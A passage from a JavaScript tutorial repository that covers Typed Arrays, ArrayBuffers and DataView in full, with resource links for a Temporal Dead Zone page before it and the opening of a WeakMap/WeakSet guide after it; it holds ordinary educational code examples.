<Card title="let — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"> Official documentation covering TDZ behavior for let declarations </Card> <Card title="const — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"> How const declarations interact with the Temporal Dead Zone </Card> <Card title="class — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class"> Class declarations and their TDZ behavior </Card> <Card title="ReferenceError — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError"> The error thrown when accessing TDZ variables </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="ES6 In Depth: let and const — Mozilla Hacks" icon="newspaper" href="https://hacks.mozilla.org/2015/07/es6-in-depth-let-and-const/"> Historical context from Mozilla engineers on why TDZ was introduced. Explains the design decisions behind let and const. </Card> <Card title="What is the Temporal Dead Zone? — Stack Overflow" icon="newspaper" href="https://stackoverflow.com/questions/33198849/what-is-the-temporal-dead-zone"> The canonical community explanation with examples and edge cases discussed by experienced developers. </Card> <Card title="You Don't Know JS: Scope & Closures — Kyle Simpson" icon="newspaper" href="https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/scope-closures/ch5.md"> Deep dive into variable lifecycle and TDZ from the popular book series. Free to read on GitHub. </Card> <Card title="JavaScript Variables: var, let, and const — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/"> Beginner-friendly comparison of all three declaration types with clear TDZ examples. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="let & const in JS: Temporal Dead Zone — Akshay Saini" icon="video" href="https://www.youtube.com/watch?v=BNC6slYCj50"> Visual explanation of TDZ with diagrams showing exactly when variables become accessible. Part of the popular Namaste JavaScript series. </Card> <Card title="var, let and const — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=9WIJQDvt4Us"> Clear comparison of all three declaration types in under 10 minutes. Great for beginners who want a quick overview. </Card> </CardGroup> --- <Card title="Back to Overview" icon="arrow-left" href="/beyond/getting-started/overview"> Return to the Beyond 33 overview </Card> ================================================ FILE: docs/beyond/concepts/typed-arrays-arraybuffers.mdx ================================================ --- title: "Typed Arrays in JavaScript" sidebarTitle: "Typed Arrays & ArrayBuffers" description: "Learn JavaScript Typed Arrays and ArrayBuffers for binary data handling. Work with DataView, WebGL, and file processing." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Data Handling" "article:tag": "typed arrays, arraybuffer, binary data, dataview, webgl, uint8array" --- How do you process a PNG image pixel by pixel? How do you read binary data from a WebSocket? How does WebGL render millions of triangles efficiently? Regular JavaScript arrays can't handle these jobs. They're designed for flexibility, not raw performance. When you need to work with **binary data** — raw bytes, pixels, audio samples, network packets — you need **Typed Arrays** and **ArrayBuffers**. ```javascript // Create a buffer of 16 bytes const buffer = new ArrayBuffer(16) // View the buffer as 4 32-bit integers const int32View = new Uint32Array(buffer) int32View[0] = 42 int32View[1] = 1337 console.log(int32View[0]) // 42 console.log(int32View.length) // 4 (4 integers × 4 bytes = 16 bytes) console.log(int32View.byteLength) // 16 ``` Typed Arrays provide a way to work with raw binary data in memory buffers, giving you the performance of low-level languages while staying in JavaScript. As [MDN's Typed Array guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Typed_arrays) explains, they were originally introduced to support WebGL and have since become essential for any binary data processing in the browser. <Info> **What you'll learn in this guide:** - What ArrayBuffers and Typed Arrays are and when to use them - How to create and manipulate binary data with different views - The difference between Typed Arrays and regular arrays - How DataView works for mixed-format binary data - Real-world use cases: file handling, WebGL, audio processing - Common mistakes when working with binary data </Info> <Warning> **Prerequisite:** This guide assumes basic JavaScript knowledge. Familiarity with [binary and hexadecimal numbers](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates) helps but isn't required. </Warning> --- ## The Filing Cabinet Analogy Think of an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) like a filing cabinet with a fixed number of drawers (bytes). According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-arraybuffer-objects), an ArrayBuffer represents a fixed-length raw binary data buffer — the cabinet itself doesn't know what's inside the drawers. It just reserves the space. A [Typed Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) is like a set of instructions for reading the cabinet. "Read drawers 1-4 as a single 32-bit integer" or "Read each drawer as a separate 8-bit value." ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ARRAYBUFFER: RAW MEMORY STORAGE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ArrayBuffer (16 bytes of raw binary data) │ │ ┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐ │ │ 00 │ 01 │ 02 │ 03 │ 04 │ 05 │ 06 │ 07 │ 08 │ 09 │ 10 │ 11 │ 12 │ 13 │ 14 │ 15 │ │ └────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘ │ ▲ │ │ │ Cannot access directly! Need a "view" │ │ │ │ │ ───┴────────────────────────────────────────────────────────────── │ │ │ │ Uint8Array view (16 × 8-bit values): │ │ ┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐ │ │ 0 │ 1 │ 2 │ 3 │ 4 │ 5 │ 6 │ 7 │ 8 │ 9 │ 10 │ 11 │ 12 │ 13 │ 14 │ 15 │ │ └────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘ │ │ │ Uint32Array view (4 × 32-bit values): │ │ ┌─────────────────┬─────────────────┬─────────────────┬─────────────────┐ │ │ 0 │ 1 │ 2 │ 3 │ │ └─────────────────┴─────────────────┴─────────────────┴─────────────────┘ │ │ │ Same data, different interpretations! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` The key insight: **one buffer, many views**. The same bytes can be interpreted as 16 separate bytes, 8 16-bit numbers, 4 32-bit numbers, or 2 64-bit numbers. This is why typed arrays are so important for [memory-efficient programming](/beyond/concepts/memory-management). --- ## What is an ArrayBuffer? An **[ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)** is a fixed-length container of raw binary data. It's a contiguous block of memory, measured in bytes. You can't read or write to an ArrayBuffer directly. It just holds the raw bytes. ```javascript // Create an ArrayBuffer with 16 bytes const buffer = new ArrayBuffer(16) console.log(buffer.byteLength) // 16 // You can't access bytes directly console.log(buffer[0]) // undefined - this doesn't work! ``` ArrayBuffers support a few key operations: - **Allocate**: Create a buffer of a specific size, initialized to zeros - **Slice**: Copy a portion of the buffer to a new ArrayBuffer - **Transfer**: Move ownership to a new buffer (advanced) - **Resize**: Change the size of a resizable buffer (advanced) ```javascript // Create a buffer const original = new ArrayBuffer(16) // Slice creates a copy of bytes 4-8 const sliced = original.slice(4, 8) console.log(sliced.byteLength) // 4 ``` To actually read or write data, you need a **view**. --- ## Typed Arrays: Views Into the Buffer A **Typed Array** is a view that interprets the bytes in an ArrayBuffer as numbers of a specific type. JavaScript provides several typed array classes, each handling different numeric formats. ### Available Typed Array Types | Type | Bytes | Range | Description | |------|-------|-------|-------------| | `Int8Array` | 1 | -128 to 127 | Signed 8-bit integer | | `Uint8Array` | 1 | 0 to 255 | Unsigned 8-bit integer | | `Uint8ClampedArray` | 1 | 0 to 255 | Clamped unsigned 8-bit (for canvas) | | `Int16Array` | 2 | -32,768 to 32,767 | Signed 16-bit integer | | `Uint16Array` | 2 | 0 to 65,535 | Unsigned 16-bit integer | | `Int32Array` | 4 | -2³¹ to 2³¹-1 | Signed 32-bit integer | | `Uint32Array` | 4 | 0 to 2³²-1 | Unsigned 32-bit integer | | `Float32Array` | 4 | ±3.4×10³⁸ | 32-bit floating point | | `Float64Array` | 8 | ±1.8×10³⁰⁸ | 64-bit floating point (like JS numbers) | | `BigInt64Array` | 8 | -2⁶³ to 2⁶³-1 | Signed 64-bit BigInt | | `BigUint64Array` | 8 | 0 to 2⁶⁴-1 | Unsigned 64-bit BigInt | ### Creating Typed Arrays There are several ways to create a typed array: <Tabs> <Tab title="From Length"> ```javascript // Create a typed array with 4 elements // Automatically creates an ArrayBuffer const uint8 = new Uint8Array(4) console.log(uint8.length) // 4 elements console.log(uint8.byteLength) // 4 bytes console.log(uint8[0]) // 0 (initialized to zero) ``` </Tab> <Tab title="From Array"> ```javascript // Create from a regular array const uint8 = new Uint8Array([10, 20, 30, 40]) console.log(uint8[0]) // 10 console.log(uint8[1]) // 20 console.log(uint8.length) // 4 ``` </Tab> <Tab title="From Buffer"> ```javascript // Create a buffer first const buffer = new ArrayBuffer(8) // Create a view over the entire buffer const int32 = new Int32Array(buffer) console.log(int32.length) // 2 (8 bytes / 4 bytes per int32) // Create a view over part of the buffer const int16 = new Int16Array(buffer, 4) // Start at byte 4 console.log(int16.length) // 2 (4 remaining bytes / 2 bytes per int16) ``` </Tab> <Tab title="From Another Typed Array"> ```javascript // Create from another typed array (copies values) const original = new Uint16Array([1000, 2000]) const copy = new Uint8Array(original) console.log(copy[0]) // 232 (1000 truncated to 8 bits) console.log(copy[1]) // 208 (2000 truncated to 8 bits) ``` </Tab> </Tabs> ### Using Typed Arrays Typed arrays work like regular arrays for most operations: ```javascript const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) // Access elements like regular arrays console.log(numbers[0]) // 1.5 console.log(numbers.length) // 4 // Iterate with for...of for (const num of numbers) { console.log(num) // 1.5, 2.5, 3.5, 4.5 } // Use map, filter, reduce, etc. const doubled = numbers.map(x => x * 2) console.log([...doubled]) // [3, 5, 7, 9] const sum = numbers.reduce((a, b) => a + b, 0) console.log(sum) // 12 ``` <Note> **Key difference from regular arrays:** Typed arrays have a **fixed length**. You can't use `push()`, `pop()`, `shift()`, `unshift()`, or `splice()` to change their size. They also don't have `concat()` or `flat()`. </Note> --- ## Multiple Views on the Same Buffer Here's where things get powerful. You can create multiple views on the same ArrayBuffer, interpreting the same bytes in different ways: ```javascript const buffer = new ArrayBuffer(4) // View as 4 separate bytes const bytes = new Uint8Array(buffer) bytes[0] = 0x12 bytes[1] = 0x34 bytes[2] = 0x56 bytes[3] = 0x78 // View the same bytes as a single 32-bit integer const int32 = new Uint32Array(buffer) console.log(int32[0].toString(16)) // "78563412" (little-endian!) // View as two 16-bit integers const int16 = new Uint16Array(buffer) console.log(int16[0].toString(16)) // "3412" console.log(int16[1].toString(16)) // "7856" ``` <Warning> **Watch out for endianness!** Most systems are little-endian, meaning the least significant byte comes first in memory. This is why `0x12345678` stored byte-by-byte appears reversed when read as a 32-bit integer. </Warning> ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ LITTLE-ENDIAN BYTE ORDER │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Memory layout (bytes): [0x12] [0x34] [0x56] [0x78] │ │ byte0 byte1 byte2 byte3 │ │ │ │ Read as Uint32Array: 0x78563412 │ │ ▲ │ │ │ Least significant byte first! │ │ │ │ Read as Uint16Array: 0x3412, 0x7856 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## DataView: Fine-Grained Control [DataView](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView) provides more flexible access to buffer data. Unlike typed arrays, DataView lets you read any type at any offset, and control byte order explicitly. ```javascript const buffer = new ArrayBuffer(12) const view = new DataView(buffer) // Write different types at specific offsets view.setUint8(0, 255) // 1 byte at offset 0 view.setUint16(1, 1000, true) // 2 bytes at offset 1 (little-endian) view.setFloat32(3, 3.14, true) // 4 bytes at offset 3 (little-endian) view.setUint32(7, 42, true) // 4 bytes at offset 7 (little-endian) // Read them back console.log(view.getUint8(0)) // 255 console.log(view.getUint16(1, true)) // 1000 console.log(view.getFloat32(3, true)) // 3.140000104904175 (float precision) console.log(view.getUint32(7, true)) // 42 ``` ### When to Use DataView vs Typed Arrays | Use Case | Best Choice | Why | |----------|-------------|-----| | Homogeneous data (all same type) | Typed Array | Faster, simpler syntax | | Mixed data types | DataView | Can read different types at any offset | | Network protocols | DataView | Often need explicit endianness control | | Image pixels (RGBA) | Uint8Array or Uint8ClampedArray | All bytes, same format | | Audio samples | Float32Array | All floats, same format | | Binary file parsing | DataView | Headers have mixed types | ### DataView Methods DataView provides getter and setter methods for each type: ```javascript const dv = new DataView(new ArrayBuffer(8)) // Setters (offset, value, littleEndian?) dv.setInt8(0, -1) dv.setUint8(1, 255) dv.setInt16(2, -1000, true) // true = little-endian dv.setUint16(4, 65000, true) dv.setFloat32(0, 3.14, true) dv.setFloat64(0, 3.14159265, true) // Getters (offset, littleEndian?) dv.getInt8(0) dv.getUint8(1) dv.getInt16(2, true) dv.getUint16(4, true) dv.getFloat32(0, true) dv.getFloat64(0, true) ``` --- ## Working with Binary Data: Real Examples ### Reading a Binary File Header Many file formats start with a header containing metadata. Here's how to parse a simple binary header: ```javascript async function parseBinaryHeader(file) { // Read the file as an ArrayBuffer const buffer = await file.arrayBuffer() const view = new DataView(buffer) // Parse a hypothetical header: // Bytes 0-3: Magic number (4 bytes) // Bytes 4-7: Version (32-bit uint) // Bytes 8-15: File size (64-bit uint) // Bytes 16-19: Flags (32-bit uint) const header = { magic: String.fromCharCode( view.getUint8(0), view.getUint8(1), view.getUint8(2), view.getUint8(3) ), version: view.getUint32(4, true), // little-endian fileSize: view.getBigUint64(8, true), flags: view.getUint32(16, true) } return header } ``` ### Manipulating Image Pixels The Canvas API returns image data as a `Uint8ClampedArray`, where each pixel is 4 consecutive bytes (RGBA): ```javascript const canvas = document.querySelector('canvas') const ctx = canvas.getContext('2d') // Get pixel data const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height) const pixels = imageData.data // Uint8ClampedArray // Invert colors for (let i = 0; i < pixels.length; i += 4) { pixels[i] = 255 - pixels[i] // Red pixels[i + 1] = 255 - pixels[i + 1] // Green pixels[i + 2] = 255 - pixels[i + 2] // Blue // pixels[i + 3] is Alpha (transparency) - leave unchanged } // Put the modified data back ctx.putImageData(imageData, 0, 0) ``` <Tip> **Why Uint8ClampedArray?** Unlike regular Uint8Array, values outside 0-255 are "clamped" rather than wrapped. Setting a value to 300 becomes 255, and -50 becomes 0. This prevents visual artifacts when doing color math. </Tip> ### Creating Binary Data to Send When sending binary data over the network (like through the [Fetch API](/concepts/http-fetch) or WebSockets), you often need to build a specific format: ```javascript function createBinaryMessage(messageType, payload) { // Message format: // Byte 0: Message type (1 byte) // Bytes 1-4: Payload length (32-bit uint, big-endian) // Bytes 5+: Payload data const payloadBytes = new TextEncoder().encode(payload) const buffer = new ArrayBuffer(5 + payloadBytes.length) const view = new DataView(buffer) // Write header view.setUint8(0, messageType) view.setUint32(1, payloadBytes.length, false) // big-endian // Write payload const uint8View = new Uint8Array(buffer, 5) uint8View.set(payloadBytes) return buffer } // Usage const message = createBinaryMessage(1, "Hello, binary world!") // Can send via WebSocket: ws.send(message) ``` ### Converting Between Text and Binary The [TextEncoder](https://developer.mozilla.org/en-US/docs/Web/API/TextEncoder) and [TextDecoder](https://developer.mozilla.org/en-US/docs/Web/API/TextDecoder) APIs convert between strings and typed arrays: ```javascript // String to bytes (UTF-8) const encoder = new TextEncoder() const bytes = encoder.encode("Hello 世界") console.log(bytes) // Uint8Array [72, 101, 108, 108, 111, 32, 228, 184, 150, 231, 149, 140] // Bytes to string const decoder = new TextDecoder('utf-8') const text = decoder.decode(bytes) console.log(text) // "Hello 世界" // Can also decode a buffer directly const buffer = new ArrayBuffer(5) new Uint8Array(buffer).set([72, 101, 108, 108, 111]) console.log(decoder.decode(buffer)) // "Hello" ``` --- ## Common Methods and Properties Typed arrays share most array methods but have some unique ones: ### Properties ```javascript const arr = new Int32Array([1, 2, 3, 4]) arr.length // 4 - number of elements arr.byteLength // 16 - total bytes (4 elements × 4 bytes) arr.byteOffset // 0 - offset into the buffer arr.buffer // The underlying ArrayBuffer arr.BYTES_PER_ELEMENT // 4 - bytes per element (static property) Int32Array.BYTES_PER_ELEMENT // 4 - also accessible on the constructor ``` ### Unique Methods ```javascript const target = new Uint8Array(10) const source = new Uint8Array([1, 2, 3]) // set() - copy values from another array target.set(source) // Copy to start target.set(source, 5) // Copy starting at index 5 console.log([...target]) // [1, 2, 3, 0, 0, 1, 2, 3, 0, 0] // subarray() - create a view into a portion (shares the buffer!) const view = target.subarray(2, 6) console.log([...view]) // [3, 0, 0, 1] view[0] = 99 console.log(target[2]) // 99 - original changed too! ``` <Warning> **subarray() vs slice():** `subarray()` creates a new view on the same buffer (changes affect the original). `slice()` copies the data to a new buffer (changes are independent). </Warning> --- ## The #1 Typed Array Mistake The most common mistake is forgetting that `subarray()` shares the underlying buffer: ```javascript // ❌ WRONG - Modifying what you thought was a copy const original = new Uint8Array([1, 2, 3, 4, 5]) const section = original.subarray(1, 4) section[0] = 99 console.log(original[1]) // 99 - Oops! Original changed // ✓ CORRECT - Use slice() for an independent copy const original2 = new Uint8Array([1, 2, 3, 4, 5]) const copy = original2.slice(1, 4) copy[0] = 99 console.log(original2[1]) // 2 - Original unchanged ``` Another common mistake is overflow behavior: ```javascript // Values wrap around in typed arrays (except Uint8ClampedArray) const bytes = new Uint8Array([250]) bytes[0] += 10 console.log(bytes[0]) // 4, not 260! (260 - 256 = 4) // Use Uint8ClampedArray for clamping behavior const clamped = new Uint8ClampedArray([250]) clamped[0] += 10 console.log(clamped[0]) // 255, clamped to max value ``` --- ## Web APIs Using Typed Arrays Many modern Web APIs work with typed arrays: | API | Typed Array Used | Purpose | |-----|------------------|---------| | [Canvas 2D](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData) | Uint8ClampedArray | Pixel manipulation | | [WebGL](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API) | Float32Array, Uint16Array | Vertex data, indices | | [Web Audio](https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API) | Float32Array | Audio samples | | [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Response/arrayBuffer) | ArrayBuffer | Binary response data | | [WebSockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) | ArrayBuffer | Binary messages | | [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader/readAsArrayBuffer) | ArrayBuffer | File contents | | [Crypto API](https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues) | Uint8Array, etc. | Random values, hashes | | [WebRTC](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API) | ArrayBuffer | Media streaming | ArrayBuffers are also essential when using [Web Workers](/concepts/web-workers) — you can transfer ownership of buffers between threads using `postMessage()` with the `transfer` option, avoiding expensive copies. --- ## Converting to Regular Arrays Sometimes you need to convert between typed arrays and regular arrays: ```javascript const typed = new Uint8Array([1, 2, 3, 4, 5]) // Using Array.from() const array1 = Array.from(typed) console.log(array1) // [1, 2, 3, 4, 5] // Using spread operator const array2 = [...typed] console.log(array2) // [1, 2, 3, 4, 5] // Convert back to typed array const backToTyped = new Uint8Array(array2) ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **ArrayBuffer is raw memory** — A fixed-length container of bytes. You can't read/write directly; you need a view. 2. **Typed Arrays are views** — They interpret buffer bytes as specific numeric types (Uint8, Int32, Float64, etc.). 3. **One buffer, many views** — The same bytes can be read as different types. A 16-byte buffer could be 16 bytes, 4 integers, or 2 doubles. 4. **Fixed length** — Unlike regular arrays, typed arrays can't grow or shrink. No push(), pop(), or splice(). 5. **subarray() shares the buffer** — Changes to a subarray affect the original. Use slice() for an independent copy. 6. **DataView for mixed types** — When parsing binary formats with different types at specific offsets, use DataView. 7. **Mind the endianness** — Most systems are little-endian. When parsing binary protocols, explicitly specify byte order with DataView. 8. **Uint8ClampedArray for images** — It clamps values to 0-255 instead of wrapping, preventing visual artifacts. 9. **TextEncoder/TextDecoder for strings** — Convert between strings and byte arrays using these APIs. 10. **Many Web APIs use them** — Canvas, WebGL, Web Audio, Fetch, WebSockets, and Crypto all work with binary data. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between ArrayBuffer and Uint8Array?"> **Answer:** An `ArrayBuffer` is raw memory storage. It holds bytes but provides no way to access them directly. You can only check its `byteLength`. A `Uint8Array` is a **view** that interprets an ArrayBuffer's bytes as unsigned 8-bit integers (0-255). It provides array-like access to the data. ```javascript const buffer = new ArrayBuffer(4) console.log(buffer[0]) // undefined - can't access! const view = new Uint8Array(buffer) console.log(view[0]) // 0 - now we can access view[0] = 42 console.log(view[0]) // 42 ``` </Accordion> <Accordion title="Question 2: How do you create a typed array that shares memory with another?"> **Answer:** Create a new typed array view on the same buffer: ```javascript const uint8 = new Uint8Array([0x12, 0x34, 0x56, 0x78]) // Create a different view on the same buffer const uint32 = new Uint32Array(uint8.buffer) // Or use subarray() for a portion of the same type const portion = uint8.subarray(1, 3) // Both share memory - changes affect each other uint32[0] = 0 console.log(uint8[0]) // 0 - changed! ``` </Accordion> <Accordion title="Question 3: What happens when you assign 300 to a Uint8Array element?"> **Answer:** It wraps around because 300 exceeds the 0-255 range. The value becomes `300 % 256 = 44`. ```javascript const arr = new Uint8Array(1) arr[0] = 300 console.log(arr[0]) // 44 // For clamping behavior, use Uint8ClampedArray const clamped = new Uint8ClampedArray(1) clamped[0] = 300 console.log(clamped[0]) // 255 (clamped to max) ``` </Accordion> <Accordion title="Question 4: When should you use DataView instead of a typed array?"> **Answer:** Use DataView when: - Your data contains **mixed types** (e.g., a header with uint32, uint16, and float32 fields) - You need to control **endianness** explicitly - You're reading/writing at **arbitrary byte offsets** ```javascript // Parsing a binary protocol with mixed types const buffer = await response.arrayBuffer() const view = new DataView(buffer) const header = { version: view.getUint8(0), // 1 byte flags: view.getUint16(1, true), // 2 bytes, little-endian timestamp: view.getFloat64(3, true) // 8 bytes, little-endian } ``` </Accordion> <Accordion title="Question 5: What's the difference between slice() and subarray()?"> **Answer:** - `slice()` creates a **new buffer** with copied data. Changes don't affect the original. - `subarray()` creates a **new view** on the same buffer. Changes affect the original. ```javascript const original = new Uint8Array([1, 2, 3, 4]) const sliced = original.slice(1, 3) sliced[0] = 99 console.log(original[1]) // 2 - unchanged const sub = original.subarray(1, 3) sub[0] = 99 console.log(original[1]) // 99 - changed! ``` </Accordion> <Accordion title="Question 6: How do you convert a string to bytes and back?"> **Answer:** Use `TextEncoder` and `TextDecoder`: ```javascript // String to bytes (UTF-8) const encoder = new TextEncoder() const bytes = encoder.encode("Hello!") console.log(bytes) // Uint8Array [72, 101, 108, 108, 111, 33] // Bytes to string const decoder = new TextDecoder('utf-8') const text = decoder.decode(bytes) console.log(text) // "Hello!" ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between ArrayBuffer and Typed Arrays?"> An `ArrayBuffer` is a fixed-length block of raw binary memory — you cannot read or write it directly. Typed Arrays like `Uint8Array`, `Float32Array`, and `Int16Array` are views that interpret the buffer's bytes in a specific format. Multiple views can share the same underlying buffer. </Accordion> <Accordion title="When should I use Typed Arrays instead of regular arrays?"> Use Typed Arrays when working with binary data: file I/O, WebGL rendering, audio processing, WebSocket binary messages, or image pixel manipulation. MDN notes that Typed Arrays are significantly faster for numeric computation because they store fixed-type values in contiguous memory, avoiding the overhead of JavaScript's dynamic typing. </Accordion> <Accordion title="What is DataView and when should I use it?"> `DataView` provides a flexible interface for reading and writing multiple data types from a single `ArrayBuffer`, with explicit control over byte order (endianness). Use it when parsing binary file formats or network protocols that contain mixed data types, rather than creating multiple Typed Array views. </Accordion> <Accordion title="Can Typed Arrays be transferred between Web Workers?"> Yes — `ArrayBuffer` objects can be transferred (not copied) to Web Workers using the `transfer` option in `postMessage()`. After transfer, the original buffer becomes zero-length and unusable. MDN documents this as a "transferable object" — it moves ownership rather than duplicating data, which is critical for performance with large buffers. </Accordion> <Accordion title="What happens if I write a value too large for a Typed Array?"> Values are silently clamped or wrapped to fit. For example, writing 256 to a `Uint8Array` (max 255) wraps to 0. The exception is `Uint8ClampedArray`, which clamps values to the valid range (0-255 for images) instead of wrapping — this is why it's used for canvas pixel data. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Blob & File API" icon="file" href="/beyond/concepts/blob-file-api"> Work with binary data as files and blobs </Card> <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> Transfer ArrayBuffers between threads </Card> <Card title="Memory Management" icon="memory" href="/beyond/concepts/memory-management"> How JavaScript manages memory allocation </Card> <Card title="Fetch API" icon="cloud-arrow-down" href="/concepts/http-fetch"> Fetch binary data from APIs </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="JavaScript Typed Arrays — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Typed_arrays"> The complete MDN guide to typed arrays, covering buffers, views, and all typed array types with detailed examples. </Card> <Card title="ArrayBuffer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer"> Official reference for ArrayBuffer including constructor, properties, and methods like slice() and transfer(). </Card> <Card title="DataView — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView"> DataView reference with all getter/setter methods for reading and writing different numeric types. </Card> <Card title="TypedArray — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray"> Reference for the TypedArray prototype methods shared by all typed array types. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="ArrayBuffer, binary arrays — JavaScript.info" icon="newspaper" href="https://javascript.info/arraybuffer-binary-arrays"> Excellent tutorial with clear visualizations of how buffers and views work together. Includes interactive examples and exercises to test your understanding. </Card> <Card title="Mastering JavaScript ArrayBuffer — DEV.to" icon="newspaper" href="https://dev.to/dharamgfx/mastering-javascript-arraybuffer-a-comprehensive-guide-1d5h"> Comprehensive guide covering ArrayBuffer creation, typed array operations, and practical use cases. Good for developers wanting a complete overview. </Card> <Card title="Binary Data in JavaScript — Medium" icon="newspaper" href="https://medium.com/@masterakbaridev/understanding-binary-data-in-javascript-exploring-arraybuffer-and-typed-arrays-42062362a473"> Clear explanations of when and why to use typed arrays, with focus on real-world applications like WebSockets and file handling. </Card> <Card title="Typed Arrays in JavaScript — HackerNoon" icon="newspaper" href="https://hackernoon.com/javascript-typed-arrays-beginners-guide-ld1x3136"> Beginner-friendly introduction covering the basics of typed arrays with simple examples. Great starting point for newcomers to binary data. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Typed Arrays & Array Buffers — Web Fusion" icon="video" href="https://www.youtube.com/watch?v=rL4AyCAl5_Y"> Step-by-step tutorial walking through ArrayBuffer and typed array fundamentals with live coding examples. </Card> <Card title="JavaScript Binary Data — Fireship" icon="video" href="https://www.youtube.com/watch?v=x2_bcCZg8vU"> Fast-paced overview of binary data handling in JavaScript, covering typed arrays, DataView, and common use cases in under 10 minutes. </Card> <Card title="Understanding ArrayBuffer — JSConf" icon="video" href="https://www.youtube.com/watch?v=UYkJaW3pl4A"> Conference talk exploring the internals of ArrayBuffer and how it enables high-performance binary operations in JavaScript. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/weakmap-weakset.mdx ================================================ --- title: "WeakMap & WeakSet in JavaScript" sidebarTitle: "WeakMap & WeakSet" description: "Learn JavaScript WeakMap and WeakSet. Understand weak references, automatic garbage collection, private data patterns, and when to use them over Map and Set." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Objects & Properties" "article:tag": "weakmap weakset, weak references, garbage collection, private data, memory management" --- Why does storing objects in a Map sometimes cause memory leaks? How can you attach metadata to objects without preventing them from being garbage collected? What's the difference between "strong" and "weak" references? ```javascript // The memory leak problem with Map const cache = new Map() function processUser(user) { // User object stays in memory forever, even after it's no longer needed! cache.set(user, { processed: true, timestamp: Date.now() }) } // With WeakMap, the cached data is automatically cleaned up const smartCache = new WeakMap() function smartProcessUser(user) { // When 'user' is garbage collected, this entry disappears too! smartCache.set(user, { processed: true, timestamp: Date.now() }) } ``` The answer lies in **[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)** and **[WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)**. These are special collections that hold "weak" references to objects, allowing JavaScript's garbage collector to clean them up when they're no longer needed elsewhere. <Info> **What you'll learn in this guide:** - What "weak" references mean and how they differ from strong references - WeakMap API and its four methods - WeakSet API and its three methods - Private data patterns using WeakMap - Object metadata and caching without memory leaks - Tracking objects without preventing garbage collection - Limitations: why you can't iterate or get the size - Symbol keys in WeakMap (ES2023+) </Info> <Warning> **Prerequisite:** This guide assumes you understand [Data Structures](/concepts/data-structures) including Map and Set. If you're not familiar with those, read that guide first. </Warning> --- ## What is a Weak Reference? A **weak reference** is a reference to an object that doesn't prevent the object from being garbage collected. When no strong references to an object remain, the JavaScript engine can reclaim its memory, even if weak references still point to it. WeakMap and WeakSet use weak references for their keys and values respectively, enabling automatic memory cleanup. According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-weakmap-objects), WeakMap entries must be removed from the collection when the key object is no longer reachable by any other means. To understand this, you need to know how JavaScript handles memory. When you create an object and store it in a variable, that variable holds a **strong reference**: ```javascript let user = { name: 'Alice' } // Strong reference to the object // The object stays in memory as long as 'user' points to it ``` When you remove all strong references, the garbage collector can clean up: ```javascript let user = { name: 'Alice' } user = null // No more strong references — object can be garbage collected ``` The problem with regular Map and Set is they create **strong references** to their keys and values: ```javascript const map = new Map() let user = { name: 'Alice' } 